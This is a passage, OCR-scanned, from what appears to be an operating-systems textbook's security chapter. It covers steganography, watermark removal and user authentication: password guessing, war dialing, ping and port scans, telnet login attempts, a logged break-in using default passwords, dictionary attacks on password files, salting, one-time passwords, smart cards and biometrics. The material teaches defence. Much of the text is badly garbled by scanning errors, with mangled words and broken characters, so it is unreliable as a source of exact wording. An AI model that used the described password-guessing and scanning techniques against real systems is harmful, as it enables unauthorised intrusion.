of the three colors. The encoding method uses the low-order blt o! each RGB 

color value as a covert channel. Thus each pixel has room for 3 bl� of secret 

information, one in the red value, one in the green value: and one m the blue 

value, With an image of this size, up to 1024 x 768 x 3 b,ts (294,912 bytes) of 

secret information can be stored in it. 

The full text of the five plays and a short notice adds up to 734,8?1 bytes. 

This was fIrst compressed to about 274 KB using a s�andard :ompresslOn algo

rithm. The compressed output was then encrypted and mserted mto the loW-0r:Ier 

bits of each color value. As can be seen (or actually, canno
.
t b� 

.seen!, the eXlst-

f the information is completely invisible. It is equally Illvlslble III the large, 
ence a . . .  . 

h 7 b't I from 
full�color version of the photo. The eye cannot easIly dlstmgUls -

. 1 C? or 
. 

8-bit color. Once the image file has gotten pas
.
t the censor, the rec�lver Just. 

stnps 

off all the low-order bits, applies the decryptIOn and decompres�lOn alg�nth�s, 

the on'a'lnal 734891 bytes. Hidina the existence of mforrnatIon like 
and recovers .0 '  .0 .. d " ") 
this is called steganography (from the Greek words for �overe wn�n� . 

Steaanouraphy is not popular in dictatorships that try to re�tnct commun�catIon 

am�ng their citizens, but it is popular with people who belIeve strongly m free 

speech. . ' l '  d at do 
Viewing the two images in black and whIte wIth low reso utIon oes n 

· ti to how powerful the technique is. To get a better feel for how steganogra
JU

h
S c�

'orks the author has prepared a demonstration, including the full-color 
p y "  , 

" h d tJ' · f Fig. 9-16(b) with the five plays embedded 10 It. T e emonstra on can �����n
o
d at www.cs.vu.nll-astl . Click on the covered writing link there under the 
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heading STEGANOGRAPHY DEMO, Then follow the instructions on that page 
to download the image and the steganography tools needed to extract the plays. 

Another use of steganography is to insert hidden watennarks into images used 
on Web pages to detect their theft and reuse on other Web pages. If your Web 
page contains an image with the secret message "Copyright 2008, General Images 
Corporation" you might have a tough time convincing a judge that you produced 
the image yourself. Music, movies, and other kinds of material can also be wa
termarked in this way. 

Of course, the fact that watermarks are used like this encourages some people 
to look for ways to remove them. A scheme that storeS information in the low
order bits of each pixel can be defeated by rotating the image 1 degree clockwise, 
then converting it to a lossy system such as lPEG, then rotating it back by 1 
degree. Finally, the image can be reconverted to the original encoding system 
(e.g., gif, bmp, tif). The lossy JPEG conversion will mess up the low-order bits 
and the rotations involve massive floating-point calculations, which introduce 
roundoff errrors, also adding noise to the low-order bits. The people putting in the 
watermarks know this (or should know this), so they put in their copyright infor
mation redundantly and use schemes besides just using the low-order bits of the 
pixels. In tum, this stimulates the attackers to look for better removal techniques. 
And so it goes. 

9.4 AUTHENTICATION 

Every secured computer system must require all users to be authenticated at 
login time. After all, if the operating system cannot be sure who the user is, it can
not know which files and other resourceS he can access. While authentication may 
sound like a trivial topic, it is a bit more complicated than you might expect. Read 
on, 

User authentication is one of those things we meant by "ontogeny recapitu
lates phylogeny" in Sec. 1.5.7. _Early mainframes, such as the ENIAC, did not 
have an operating system, let alone a login procedure. Later mainframe batch and 
timesharing systems generally did have a login procedure for authenticating jobs 
and users. 

Early minicomputers (e.g., PDP-l and PDP-8) did not have a login procedure, 
but with the spread of UNIX on the PDP- I I  minicomputer, logging in was again 
needed. Early personal computers (e.g., Apple II and the original IBM PC) did not 
have a login procedure, but more sophisticated personal computer operating sys
tems, such as Linux and Windows Vista, do (although foolish users can disable 
it). Machines on corporate LANs almost always have a login procedure config
ured so that users cannot bypass it. Finally, many people nowadays (indirectly) 
log into remote computers to do Internet banking, e-shopping, download music, 
and other commercial activities. All of these things require authenticated login, so 
user authentication is once again an important topic. 
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Having determined that authentication is often im�ort
.
ant, the next step is to 

find a good way to achieve it. Most methods of au�e�tlcatmg users
.
whe� �ey at

tempt to log in are based on one of three general pnnclples, namely Identlfymg 

1. Something the user knows. 

2. Something the user has. 

3. Something the user is. 
Sometimes two of these are required for additional security. These princi�les lead 
to different authentication schemes with different complexities and secunty prop-
erties. In the following sections we will examine each of these in tum. . People who want to cause trouble on a particular sys�em

. 
have to first l�g m to 

that system, which means getting past whichever authentlcatIOn pro�ed?re IS used. 
In the popular press, these people are called hackers. However, withm the c0r.n
puter world, "hacker" is a term of honor reserved for gr�at programmers. WhIle 
some of these are rogues, most are not. The press got thIS one wro�g. In defer
ence to true hackers, we will use the term in the original sense and WIll call people 
who try to break into computer systems where they do not belong crackers. 
Some people talk about white-hat hackers to mean the good guys and 

.
blackwhat 

hackers to mean the bad guys, but in our experience most hackers s�ay l��oors all 
the time and do not wear hats, so you cannot distinguish them by thelf millmery. 

9.4.1 Authentication Using Passwords 

The most widely used form of authentication is to require the user to type a 

login name and a password. Password protection is easy to und�rstand an� easy to 

implement. The simplest implementation just keeps a ce�tral lIs: of (logm-name, 

password) pairs. The login name typed in is looked up m -the lIst �n� the typed 

password is compared to the stored password. If they match, the logm IS allowed; 

if they do not match, the login is rejected. . . ' 
It goes almost without saying that while a password IS bemg type� m, the 

computer should not display the typed characters, to �eep them from P?m? ey.es 

near the monitor. With Windows, as each character IS typed, an astensk IS dis

played. With UNIX, nothing at all is displayed while the password is being .typed. 
These schemes have different properties. The Windows scheme may make It easy 
for absent-minded users to see how many characters they have typed so far, but It 

also discloses the password length to "eavesdroppers" (for some reason, English 
has a word for auditory snoopers but not for visual snoopers, other than �erhaps 

Peeping Tom, which does not seem right in this context). From a secunty per-
spective, silence is golden. . ' . . 

Another area in which not quite getting it right has senous secunty Implica
tions is illustrated in Fig. 9-17. In Fig. 9w 17(a), a successful login is shown, with 
system output in upper case and user input in lower case. In Fig. 9-17(b), a failed 
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attempt by a cracker to log into System A is shown. In Fig. 9-17(c) a failed atw 
tempt by a cracker to log into System B is shown. 

LOGIN: mitch 
PASSWORD: FooBar!-7 
SUCCESSFUL LOGIN 

(a) 

LOGIN: carol 
INVALID LOGIN NAME 
LOGIN: 

(h) 

LOGIN: carol 
PASSWORD: !dunno 
INVALID LOGIN 
LOGIN: 

(0) 

Figure 9-17. (a) A successful login. (b) Login rejected after name is entered 
(c) Login rejected after name and password are typed. 

. 

. 
I� Fig. �-17(b), the system complains as soon as it Sees an invalid login name. 

ThIs IS a �lstake, as it allows the cracker to keep trying login names until she 
finds a valId one. In Fig. 9-17(c), the cracker is always asked for a password and 
gets no feedback about whether the login name itself is valid. All she learns is that 
the login name plus password combination tried is wrong. 

. As an aside on login, most notebook computers are configured to require a 
logm nam� and password to protect their contents in the event they are lost are 
stolen. WhIle better than nothing, it is not much better than nothing. Anyone who 
gets hold of �� notebook can tum it on and immediately go into the BIOS setup 
program by hIttIng DEL or F8 or some other BIOS-specific key (usually displayed 
on the screen) before �e ?perating system is started. Once there, he can change 
the boot sequenc�, telhng It to boot from a USB stick before trying the hard disk. 
The finder then mserts a USB stick containing a complete operating system and 
boots from it. Once running, the hard disk can be mounted (in UNIX) or accessed 
as the D: drive (Windows). To prevent this situation, most BIOSes allow the user 
to password protect the BIOS setup program so that only the owner can change 
the boot sequence. If you have a notebook computer, stop reading now. Go put a 
password on your BIOS, then come back. 

How Crackers Break In 

Most crackers break in by connecting to the target computer (e.g., over the In
ternet) and trying many (login name, password) combinations until they find one 
that works. Many people use their name in one fonn or another as their login 
nam.e. For E.llen Ann Smith, ellen, smith, ellen_smith, ellen-smith, ellen.smith, 
esmlth, easmlth, and eas are all reasonable candidates. Armed with one of those 
books entitled 4096 Names for Your New Baby, plus a telepllOne.-book full of last 
names, a cracker can easily compile a computerized list of potential login names 
ap�ropriate to the country being attacked (ellen _smith might work fine in the 
Umted States or England, but probably not in Japan). 

Of course, guessing the login name is not enough. The password has to be 
guessed, too. How hard is that? Easier than you might think. The classic work on 
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password security was done by Morris and Thompson (1979) on UNIX systems. 
They compiled a list of likely passwords: first and last names, street names, city 
names, words from a moderate-sized dictionary (also words spelled backward), 
license plate numbers, and short strings of random characters. They then com
pared their list to the system password file to see if there were any matches. Over 
86% of aU passwords turned up in their list. A similar result was obtained by 
Klein (1990). 

Lest anyone think that better-quality users pick better-quality passwords, rest 
assured that they do not. A 1997 survey of passwords used in the financial district 
of London revealed that 82% could be guessed easily. Commonly used passwords 
were sexual terms, abusive expressions, people's names (often a family member 
Or a sports star), vacation destinations. and common objects found around the 
office (Kabay, 1997). Thus a cracker can compile a list of potential login names 
and a list of potential passwords without much work. 

The growth of the Web has made the problem much worse. Instead of having 
only one password, many people now have a dozen or more. Since remembering 
them all is too hard, they tend to choose simple, weak passwords and reuse them 
on many Websites (Florencio and Herley, 2007; and Gaw and Felten, 2006). 

Does it really matter if passwords are easy to guess? Yes, absolutely. In 
1998, the San Jose Mercury News reported that a Berkeley resident, Peter Ship
ley, had set up several unused computers as war dialers, which dialed all 10,000 
telephone numbers belonging to an exchange [e.g., (415) 770-xxxx], usually in 
random order to thwart telephone companies that frown upon such usage and try 
to detect it. After making 2.6 million calls, he located 20,000 computers in the 
Bay Area, 200 of which had no security at all. He estimated that a determined 
cracker could break into about 75% of the others (Denning, 1999). And this was 
back in the Jurassic Period, where the computer actually had to dial all 2.6 million 
phone numbers. 

Crackers are not limited to California. An Australian cracker tried the same 
thing. Among the many systems he broke into was a Citibank computer in Saudi 
Arabia, which allowed him to obtain credit card numbers and credit limits (in one 
case, $5 million) and transaction records (including at least one visit to a brothel). 
A cracker colleague of his also broke into the bank and collected 4000 credit card 
numbers (Denning, 1999). If such information were misused, the bank would 
undoubtedly emphatically and vigorously deny that it could possibly be at fault, 
claiming that the customer must have disclosed the information. 

The Internet has been a godsend to crackers. It takes all the drudgery out of 
their work. No more phone numbers to dial. «War dialing" now works like this. 
Every computer on the Internet has a (32-bit) IP address used to identify it. Peo
ple usually write these addresses in dotted decimal notation as w.x.y.z, where 
each of the four components of the IP address is an integer from 0 to 255 in 
decimal. A cracker can easily test if some computer has this IP address and is up 
and running by typing the command 
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ping w .x. y.z 

to the shell or command prompt If th . . . . 
. . . e computer IS alIve, It wIll respond and the pmg pr?gram wll� tell ho:" long the roundtrip time was in milliseconds (althou h some SItes now dIsable pmg to prevent this kind of attack) It · . g 

. . IS easy to wnte a progr� to �mg larg� numbers of IP addresses systematically, analogous to what 

b
war 

k
dl.ale

b
r dId.

, 
If a live computer is found at w.x.y.z, the cracker can attempt to 

rea m y typmg 

te!net w.x.y.z 

If th� .
connection attempt is accepted (which it may not be, since not all system 

�dmlm�trators welcome random logins over the Internet), the cracker can start try_ 
mg logm names and passwords .from his lists. At first, it is trial and error. How
ever, the cracker may eventually be able to break in a few times and capture th 
password file (lo�ated �n letc!passwd on UNIX systems and often publicly read� 
able). T�en he wl.Il ?egm to collect statistical infonnation about login name usage 
frequencIes to optImIze future searches. 

Many telnet daemon� break the underlying TCP connection after SOme num
ber of unsuccessful l�gm attempts in order to slow down crackers. Crackers 
respo�d to that by st�ng up �any threads in parallel, working on different target :achI�es at �nce. TheIr goal IS to make as many tries per second as the-outgoinO' 
and�ldth �lll allow. Fro� their point of view, having to spray them Over man (:> 

machmes bemg 
.
att�cked SImultaneously is not a serious disadvantage. 

y 

In�tead of pmgmg machines in IP-address order, a cracker may wish to taraet 
a speCIfic company, university, or governmental organization, say, the University 
of Foobar atfoobar.edu. To find out what IP addresses it uses all he has to d . 
type 

' 0 IS 

dnsquery foobar.edu 

and he will �et a list of some of its IP addresses. Alternatively, the programs 
nslookup or dzg c�n also be used. (Yet another possibility is to type "DNS query" 
to any search engme t� find a Website that does free DNS lookups, for example, 
www.dnsstuffcom.) Smce many organizations have 65,536 consecutive IP ad
dre�ses (a common allo�ation unit in the past), Once he knows the first 2 bytes of ��e�

3
!p 

f
addresses (WhIC� dnsquery supplies), it is straightforward to ping all 

. ' 0 them to see. �hlCh ones respond and which ones accept telnet connec
tIOns. From there on, It IS back to guessing login names and passwords a subj· eet 
we have already discussed. ' 

Needless to .
say, the entire process of starting with a domain name, finding the 

first 2
, 
bytes of �ts IP addresses, pinging all of them to see which ones are alive 

che�king to see If any accept telnet connections, and then tryino- statistically likel; 
(log�n name, password) pa�rs is a process that lends itself very �ell to automation. 
It WIll take many, .

m�ny tnes to break in, but if there is one thing that computers 
are very good at, It IS repeating the same sequence of commands over and over 
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until the cows come home. A cracker with a high-speed cable or DSL connec�on 

can program the break-in process to run all day long and just check back once 10 a 

while to see what has showed up. _ .  
In addition to telnet service, many computers make a varIety of other servIces 

available over the Internet. Each of these is attached to one o� the 65,536 ports 
associated with each IP address. When a cracker has found a live IP address, he 
will often run a port scan to see what is available there. Some of the ports may 
yield additional options for breaking in. 

. ' . 
A teinet or port scan attack is clearly better than a war dIaler at�ack SlOce It 

O"oes much faster (no dialing time) and is much cheaper (no long-dIstanCe tele�hone charges), but it only works for machines that are on the Intern:t an� .accept 
telnet connections. Nevertheless, many companies (and nearly all umversl�les) do 
accept telnet connections so that employees on a business trip or at a dIfferent 
branch office (or students at home)- can log in remotely. 

. 
Not only are user passwords often weak, but sometimes the root password IS 

too. In particular, some installations never bother to change the default passwords 
that systems are shipped with. Cliff Stol�, an astronomer at Berkeley, had ob
served irregularities on his system, and 131d a trap for the cracker who had been 
trying to oet in (Stoll, 1989). He observed the session shown in Fig. 9-18 typed 
by a cracker who had already broken into one machine at the Lawrence Berkeley 
Laboratory (LBL) and was trying to get i�to anothe� one. The uucp (UNIX to 
UNIX Copy Program) account is used for mtennachme network traffic and has 
superuser power, so the cracker was now in a U.�. Department. of Energy ma
chine as superuser. Fortunately, LBL does not

. 
desIgn

. 
nu�lear weapons, alth?ui?h 

its sister lab at Livermore does. One hopes theIr secunty IS better, but there IS lIt
tle reason to believe that since another nuclear weapons lab, Los Alamos, lost a 
hard disk full of classified information iIi 2000. 

LBL> telnet elxsi 
ELXSI AT LBL 
LOGIN: root 
PASSWORD: root 
INCORRECT PASSWORD, TRY AGAIN 
LOGIN: guest 
PASSWORD: guest 
INCORRECT PASSWORD, TRY AGAIN 
LOGIN: uucp 
PASSWORD: uucp 
WELCOME TO THE ELXSI COMPUTER AT LBL 

Figure 9-18. How a cracker broke into a U.S. Department of Energy computet at LBL. 

Once a cracker has broken into a system and become superus�r, it �ay be 
possible to install a packet sniffer, software that examines all the mcommg and 
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outgoing network packets looking for certain patterns. An especially interesting 
pattern to look for is people on the compromised machine logging into remote ma
chines, especially as superuser there. This information can be squirreled away in a 
file for the cracker to pick up at his leisure later. In this way, a cracker who 
breaks into one machine with weak security can often leverage this into a way to 
break into other machines with stronger security. 

Increasingly many break-ins are being done by technically naive users who 
are just running scripts they found on the Internet. These scripts either use brute 
force attacks of the type described above or try to exploit known bugs in specific 
programs. Real hackers scornfully refer to th�m as script kiddies. 

Usually, the script kiddie has no particular target and no particular infor
mation he is trying to steaL He is just looking for machines that are easy to break 
into. Some of the scripts even pick a network to attack by chance, using a random 
network number (in the upper part of the IP address). They then probe all the ma
chines on the network to see which ones respond. Once a database of valid IP ad
dresses has been acquired, each machine is attacked in sequence. As a conse
quence of this methodology, it can happen that a brand-new machine at a secure 
military installation can be attacked within hours of its being attached to the Inter
net, even though no one but the administrator even knows about it yet. 

UNIX Password Security 

Some (older) operating systems keep the password file on the disk in unen
crypted form, but protected by the usual system protection mechanisms. Having 
all the passwords in a disk file in unencrypted form is just looking for trouble be
cause all too often many people have access to it. These may include system 
administrators, machine operators, maintenance personnel, programmers, man
agement, and maybe even some secretaries. 

A better solution, used in UNIX, works like this. The login program asks the 
user to type his name and password. The password is immediately "encrypted" 
by using it as a key to encrypt a fixed block of data. Effectively, a one-way func
tion is being run, with the password as input and a function of the password as 
output. This process is not really encryption, but it is easier to speak of it as en
cryption. The login program then reads the password file, which is just a series of 
ASCn lines, one per user, until it finds the line containing the user's login name. 
If the (encrypted) password contained in this line matches the encrypted password 
just computed, the login is permitted, otherwise it is refused: The advantage of 
this scheme is that no one, not even the superuser, can look up any users' pass
words because they are not stored in unencrypted form anywhere in the system. 

However, this scheme can also be attacked, as follows. A cracker first builds 
a dictionary of likely passwords the way Morris and Thompson did. At leisure, 
these are encrypted USing the known algorithm. It does not matter how long this 
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process takes because it is done in advance of the break-in. Now armed with a list 
of (password, encrypted password) pairs, the cracker strikes. He reads the (pub
licly accessible) password file and strips out all the encrypted passwords. These 
are compared to the encrypted passwords in his list. For every hit, the login name 
and unencrypted password are now known. A simple shell script can automate 
this process so it can be carried out in a fraction of a second. A typical run of the 
script will yield dozens of passwords. 

Recognizing the possibility of this attack, Morris and Thompson described a 
technique that renders the attack almost useless. Their idea is to associate an n-bit 
random number, called the salt, with each password. The random number is 
changed whenever the password is changed. The random number is stored in the 
password file in unencrypted form, so that everyone can read it. Instead of just 
storing the encrypted password in the password file, the password and the random 
number are first concatenated and then encrypted together. This encrypted result 
is stored in the password file, as shown in Fig. 9-19 for a password file with five 
users, Bobbie, Tony, Laura, Mark, and Deborah. Each user has one line in the file, 
with three entries separated by commas: login name, salt, and encrypted password 
+ salt. The notation e(Dog, 4238) represents the result of concatenating Bobbie's 
password, Dog, with her randomly assigned salt, 4238, and running it through the 
encryption function, e. It is the result of that encryption that is stored as the third 
field of Bobbie's entry. 

Bobbie, 4238, e(Dog, 4238) 

Tony, 2918, e(6%%TaeFF, 2918) 

Laura, 6902, e(Shakespeare, 6902) 

Mark, 1694, e(XaB#Bwcz, 1 694) 

Deborah, 1 092, e(LordByron,1092) 

Figure 9-19. The use of salt to defeat precomputation of encrypted passwords. 

Now consider the implications for a cracker who wants to build up a list of 
likely passwords, encrypt them, and save the results in a sorted file, f, so that any 
encrypted password can be looked up easily. If an intruder suspects that Dog 
might be a password, it is no longer sufficient just to encrypt Dog and put the re� 
suIt info He has to encrypt 2" strings, such as DogOOOO, Dog0001, Dog0002, and 
so forth and enter all of them in f. This technique increases the size of I by 2n. 
UNIX uses this method with n = 12. 

For additional security, some modern versions of UNIX make the password 
file itself unreadable but provide a program to look up entries upon request, add
ing just enough delay to greatly slow down any attacker. The combination of salt� 
ing the password file and making it unreadable except indirectly (and slowly) can 
generally withstand most attacks on it. 
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One-Time Passwords 

Most superusers exhort their mortal users to change their passwords once a 
month. It falls on deaf ears. Even more extreme is changing the password with 
every login, leading to one-time passwords. When one-time passwords are used, 
the user gets a book containing a list of passwords. Each login uses the next pass
word in the list If an intruder ever discovers a password, it will not do him any 
good, since next time a different password must be used. It is suggested that the 
user try to avoid losing the password book. 

Actually, a book is not needed due to ,an elegant scheme devised by Leslie 
Lamport that allows a user to log in securely over an insecure network usinO' one-. b time passwords (Lamport, 1981). Lamport's method can be used to allow a user 
running on a home PC to log in to a server over the Internet, even though intruders 
may see and copy down all the traffic in both directions. Furthermore, no secrets 
have to be stored in the file system of either the server or the user's Pc. The 
method is sometimes called a one-way hash chain. 

The algorithm is based on a one-way function, that is, a function y = I(x) that ?as the property that given x it is easy to find y, but given y it is computationally 
lllfeasible to find x. The input and output should be the same length, for example, 
256 bits. . 

The user picks a Secret password that he memorizes. He also picks an integer, 
n, which is how many one-time passwords the algorithm is able to generate. As 
an example, consider n = 4, although in practice a much larger value of n would 
be used. If the secret password is s, the first password is given by running the 
one�way function n times: 

P, =f(f(f(f (s)))) 
The second password is given by running the one-way function n - 1 times: 

P, =f(f(f (s))) 

The third password runs I twice and the fourth password runs it once. In general, 
Pi-I = f(Pi). The key fact to note here is that given any password in the se
quence, it is easy to compute the previous one in the numerical sequence but im
possible to compute the next one. For example, given P 2 it is easy to find P !  but 
impossible to find P 3 .  

The server is initialized with Po, which is just f(P 1 )' This value is stored in 
the password file entry associated with the user's login name "along with the inte� 
ger 1, indicating that the next password required is P l '  When the user wants to 
log in for the first time, he sends his login name to the server, which responds by 
sending the integer in the password file, 1 ,  The user's machine responds with P I ,  
which can be computed locally from s ,  which is typed in on the spot The server 
then computes f(P J )  and co.mpares this to the value stored in the password file 
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(P 0)' If the values match, the login is permitted, the integer is incremented to 2, 
and P I  overwrites Po in the password file. " 

On the next login, the server sends the liser a 2, and the 
,
user s machme. com

putes P2- The server then computes f(P2) .an� comp�es It to �he entry :n the 
password file. If the values match, the logm IS perrmtted, the mteger IS mcre
mented to 3, and P 2 overwrites P I  in the password file. The property that makes 
this scheme work is that even though an intruder may capture PI, he bas no way to 
compute p. from it, only Pi-l which has already been used and is now worth
less. Whe�+�ll n passwords have been used up, the server is reinitialized with a 
new secret key. 

Challenge-Response Authentication 

A variation on the password idea is to have each new user provide a lo�g list 
of questions and answers that are then stored on the server securely (e.g., III en� 
crypted form). The questions should be chosen so that the user does not need to 
write them down. Possible questions are 

1 .  Who is Marjolein's sister? 
2. On what street was your elementary school? 
3. What did Mrs. Woroboff teach? 

At loo-in, the server asks one of them at random and checks the answer. To make 
this s�heme practical, though, many question-answer pairs would be needed: Another variation is challenge-response. When this is used, the user pICks an 
algorithm when signing up as a user, for example x2. When the user logs in, the 
server sends the user an argument, say 7, in which case the user types 49. The al
gorithm can be different in the morning and afternoon, on different days of the 
week, and so on. 

If the user's device has real computing power, such as a personal computer, a 
personal digital assistant, or a cell phone, a more powerful form of �hall.en��� 
response can be used. In advance, the user selects � secret key, k, whIch IS InI
tially brought to the server system by hand. A copy IS also kept (securely) on t�e 
user's computer. At login time, the server sends a random number, r, .to the us�r s 
computer, which then computes f(r, k) and sends t�at �ack, where f IS a ,Publicly 
known function. The server then does the computatiOn Itself and checks if the re
sult sent back agrees with the computation. The advantage of this s�heme o�er a 
password is that even if a wiretapper sees and records all the traffic III both ?lfec
tions, he will learn nothing that helps him next time. Of course, the functiOn, j, 
has to be complicated enough that k cannot be deduced, even given a large set of 
observations. Cryptographic hash functions are good choices, with the argument 
being the XOR of r and k. These functions are known to be hard to reverse. 
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The second method for authenticating users is to check for some physical ob
ject they have rather than something they know. Metal door keys have been used 
for centuries for this purpose. Nowadays, the physical object used is often a plas
tic card that is inserted into a reader associated with the computer. Normally, the 
user must not only insert the card, but must also type in a password, to prevent 
someone from using a lost or stolen card. Viewed this way, using a bank's A1M 
(Automated Teller Machine) starts out with the user logging in to the bank's com
puter via a remote terminal (the ATM machine) using a plastic card and a pass� 
word (currently a 4-digit PIN code in most countries, but this is just to avoid the 
expense of putting a full keyboard on the ATM machine). 

Infonnation�bearing plastic cards come in two varieties: magnetic stripe cards 
and chip cards. Magnetic stripe cards hold about 140 bytes of infonnation written 
on a piece of magnetic tape glued to the back of the card. This information can be 
read out by the terminal and sent to the central computer. Often the information 
contains the user's password (e.g., PIN code) so the terminal can do an identity 
check even if the link to the main computer is down. Typically the password is en
crypted by a key known only to the bank. These cards cost about $0.10 to $0.50, 
depending on whether there is a hologram sticker on the front and the..rroduction 
volume. As a way to identify users in general, magnetic stripe cards are risky be
cause the equipment to read and write them is cheap and widespread. 

Chip cards contain a tiny integrated circuit (chip) on them. These cards can be 
subdivided into two categories: stored value cards and smart cards. Stored value 
cards contain a small amount of memory (usually less than I KB) using ROM 
technology to allow the value to be remembered when the card is removed from 
the reader and thus the power turned off. There is no CPU on the card, so the 
value stored must be changed by an external CPU (in the reader). These cards are 
mass produced by the millions for well under $ 1  and are used, for example, as 
prepaid telephone cards. When a call is made, the telephone just decrements the 
value in the card, but no money actually changes hands. For this reason, these 
cards are generally issued by one company for use on only its machines (e.g., tele
phones or vending machines). They could be used for login authentication by 
storing a 1 � KB password in them that the reader would send to the central com� 
puter, but this is rarely done. 

However, nowadays, much security work is being focused on the smart cards 
which currently have something like a 4-MHz 8-bit CPU, 16 KB of ROM, 4 KB 
of ROM, 512 bytes of scratch RAM, and a 9600-bps communication channel to 
the reader. The cards are getting smarter in time, but are constrained in a variety 
of ways, including the depth of the chip (because it is embedded in the card), the 
width of the chip (so it does not break when the user flexes the card) and the cost 
(typically $1 to $20, depending on the CPU power, memory size, and presence or 
absence of a cryptographic coprocessor). 
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Smart cards can be used to hold money, as do stored value cards, but with 
much better security and universality. The cards can be loaded with money at an 
ATM machine or at home over the telephone using a special reader supplied by 
the bank. When inserted into a merchant's reader, the user can authorize the card 
to deduct a certain amount of money from the card (by typing YES), causing the 
card to send a little encrypted message to the merchant. The merchant can later 
turn the message over to a bank to be credited for the amount paid. 

The big advantage of smart cards over, say, credit or debit cards, is that they 
do not need an online connection to a bank. If you do not believe this is an advan
tage, try the following experiment. Try to buy a single candy bar at a store and 
insist on paying with a credit card. If the merchant objects, say you have no cash 
with you and besides, you need the frequent flyer miles. You will discover that the 
merchant is not enthusiastic about the idea (because the associated costs dwarf the 
profit on the item). This makes smart cards useful for small store purchases, pay 
phones, parking meters, vending machines, and many other devices that normally 
require coins. They are in widespread use in Europe and spreading elsewhere. 

Smart cards have many other potential uses (e.g., encoding the bearer's aller
gies and other medical conditions in a secure way for use in emergencies), but this 
is not the place to tell that story. Our interest here is how they can be used for 
secure login authentication. The basic concept is simple: a smart card is a small, 
tamperproof computer that can engage in a discussion (protocol) with a central 
computer to authenticate the user. For example, a user wishing to buy things at an 
e-commerce Website could insert a smart card into a home reader attached to his 
Pc. The e-commerce site would not only use the smart card to authenticate the 
user in a more secure way than a password, but could also deduct the purchase 
price from the smart card directly, eliminating a great deal of the overhead (and 
risk) associated with using a credit card for online purchases. 

Various authentication schemes can be used with a smart card. A particularly 
simple challenge-response works like this. The server sends a 512-bit random 
number to the smart card, which then adds the user's 5 12-bit password stored in 
the card's ROM to it. The sum is then squared and the middle 512 bits are sent 
back to the server, which knows the user's password and can compute whether the 
result is correct Or not. The sequence is shown in Fig. 9-20. If a wiretapper sees 
both messages, he will not be able to make much sense out of them, and recording 
them for future use is pointless because on the next login, a different 512-bit ran
dom number will be sent. Of course, a much fancier algorithm than squaring can 
be used, and always is. 

One disadvantage of any fixed cryptographic protocol is that over the course 
of time it could be broken, rendering the smart card useless. One way to avoid this 
fate is to use the ROM on the card not for a cryptographic protocol, but for a Java 
interpreter. The real cryptographic protocol is then downloaded onto the card as a 
Java binary program and run interpretively. In this way, as soon as one protocol is 
broken, a new one can be installed worldwide in a straightforward way: next time 
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characteristics, so requiring the measured characteristicS to match those of a spe
cific user is stronger than just requiring it to match those of any user. 

The characteristic chosen should have enough variability tha� the sys�em can 
distino-uish among many people without error. For example, half color IS not a 
good indicator because too many people share the same co�or. Also, the charac
teristic should not vary over time and with some people, half color does not have 
this property. Similarly a person's voice may be different due to a cold and a �ace 
may look different due to a beard or make-up not present at enrollment time. 
Since later samples are never going to match the enrollment values exactly, the 
system designers have to decide how good the match h�S to be t� ?e accepted. In 
particular, they have to decide whether it is worse to reject a legltlm�te us�r once 
in a while or let an imposter get in once in a while. An e�com�erce sIte might de
cide that rejecting a loyal customer might be worse than acceptmg � small amount 
of fraud, whereas a nuclear weapons site might decide th�t re�usmg access to a 
genuine employee was better than letting random strange�s m tWIce a 'year. 

Now let us take a brief look at some of the biometncs that �re. m actual use 
now. Finger-length analysis is surprisingly practical. W�en thIS . IS used: ea�h 
computer has a device like the one of Fig. 9-21. The user I�serts hIS hand mto It, 
and the length of all his fingers is measured and checked agamst the database. 

Figure 9.21. A device for measuring finger length. 

Finger length measurements are not perfect, h�wever. The system ca.n be at
tacked with hand molds made out of plaster of Pans or some other matenal, pos
sibly with adjustable fingers to allow some experi�entation. 

SEC. 9.4 AUTHENTICATION 653 

Another biometric that is in widespread commercial use is iris recognition. 
No two people have the same patterns (even identical twins), so iris recognition is 
as good as fingerprint recognition and more easily automated (Daugman, 2004). 
The subject just looks at a camera (at a distance of up to 1 meter), which photo
graphs the subject's eyes and extracts certain characteristics by performing what 
is called a gabor w�velet transformation, and compresses the results to 256 bytes. 
This string is compared to the value obtained at enrollment time, and if the Ham
ming distance is below some critical threshold, the person is authenticated. (The 
Hamming distance between two bit strings is the minimum number of changes 
needed to transform one into the other.) 

Any technique that relies on images is subject to spoofing. For example, a 
person could approach the equipment (say, an ATM machine camera) wearing 
dark glasses to which photo�aphs of someone else's eyes were attached. After 
all, if the ATM's camera can take a good iris photo at 1 meter, other people can 
do it too, and at greater distances using telephoto lenses. For this reason, count
enneasures may be needed such as having the camera fire a flash, not for illumi
nation purposes, but to see if the pupil contracts in response or to see if the ama
teur photographer's dreaded red-eye effect shows up in the flash picture but is 
absent when no flash is used. Amsterdam Airport has been using iris recognition 
technology since 2001 to enable frequent travelers to bypass the nonnal immigra
tion line. 

A somewhat different technique is signature analysis. The user signs his name 
with a special pen connected to the computer, and the computer compares it to a 
known specimen stored online or on a smart card. Even better is not to compare 
the signature, but compare the pen motions and pressure made while writing it A 
good forger may be able to copy the signature, but will not have a clue as to the 
exact order in which the strokes were made or at what speed and what pressure. 

A scheme that relies on minimal special hardware is voice biometrics (Mar
kowitz, 2000). All that is needed is a microphone (or even a telephone); the rest 
is software. In contrast to voice recognition systems, which try to determine what 
the speaker is saying, these systems try to determine who the speaker is. Some 
systems just require the user to say a secret password, but these can be defeated 
by an eavesdropper who can tape record passwords and play them back later. 
More advanced systems say something to the user and ask that it be repeated 
back, with different texts used for each login. Some companies are starting to use 
voice identification for applications such as home shopping over the telephone be
cause voice identification is less subject to fraud than using a PIN code for iden� 
tification. 

We could go on and on with more examples, but two more will help make an 
important point. Cats and other animals mark off their territory by urinating 
around its perimeter. Apparently cats can identify each other this way. Suppose 
that someone comes up with a tiny device capable of doing an instant urinalysis, 
thereby providing a foolproof identification. Each computer could be equipped 
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with one of these devices, along with a discreet sign reading: "For login, please 
deposit sample here." This might be an absolutely unbreakable system, but it 
would probably have a fairly serious user acceptance problem. 

The same could be said of a system consisting of a thumbtack and a small 
spectrograph. The user would be requested to press his thumb against the thumb
tack, thus extracting a drop of blood for spectrographic analysis. The point is that 
any authentication scheme must be psychologically acceptable to the user com
munity_ Finger-length measurements probably will not cause any problem, but 
even something as nonintrusive as storing fingerprints on line may be unac
ceptable to many people because they associate fingerprints with criminals. 

9.5 INSIDER ATTACKS 

We have just seen in some detail how user authentication works. Unfor
tunately, keeping unwanted visitors from logging in is just one of the many securi
ty problems that exist. A whole different category are what might be termed Hin_ 
side jobs." These are executed by programmers and other employees of the com
pany running the computer to be protected Or making critical software. These at
tacks differ from external attacks because the insiders have specialized knowledge 
